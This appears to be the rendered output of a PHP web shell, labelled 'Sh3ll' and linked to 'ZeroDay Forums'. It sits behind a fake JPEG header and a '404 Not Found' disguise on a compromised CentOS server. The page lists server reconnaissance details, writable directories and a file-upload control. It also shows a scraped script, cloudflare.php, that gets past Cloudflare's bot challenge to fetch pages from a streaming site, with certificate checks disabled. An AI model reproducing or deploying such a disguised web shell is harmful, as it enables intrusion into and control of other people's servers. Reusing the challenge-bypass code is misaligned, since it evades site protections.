ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/proxy/bypass3/v4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/proxy/bypass3/v4/cloudflare.php
<?php
$link = "https://kissasian.si/ajax/anime/load_episodes_v2?episode_id=53916&s=oserver";
$link_old_style = "https://spacemov.cc/";
include ("cf.php");

$ua = $_SERVER['HTTP_USER_AGENT'];

if (preg_match('/Firefox/i', $ua)) {
    $cookie = dirname(__FILE__) . "/cookies_kissasian.txt";   // you may change this
}else{
    $cookie = dirname(__FILE__) . "/cookies_kissasian_chrome.txt";   // you may change this
}
echo $cookie.'<br/>';
if (is_writable($cookie)) {
    echo 'The file is writable<br/>';
} else {
    echo 'The file is not writable<br/>';
}
//if (file_exists($cookie)) unlink($cookie);
$head = array(
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: br',
    'Connection: keep-alive',
    'Upgrade-Insecure-Requests: 1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_setopt($ch, CURLOPT_HEADER, 1);
$h = curl_exec($ch);


if (strpos($h, "503 Service") !== false)
{
    if (strpos($h, 'id="cf-dn') === false){
        $q = getClearanceLink_old($h, $link);

    } else {
        $q = getClearanceLink($h, $link);

    }

    curl_setopt($ch, CURLOPT_URL, $q);

    $h = curl_exec($ch);
    curl_close($ch);


    /*for check
    $c=file_get_contents($cookie);
    preg_match("/cf_clearance\s+[a-z0-9\-]+/",$c,$match);
    echo $match[0];
    */
}
else
{
    curl_close($ch);
}
echo strip_tags($h);
exit();
?>

ZeroDay Forums Mini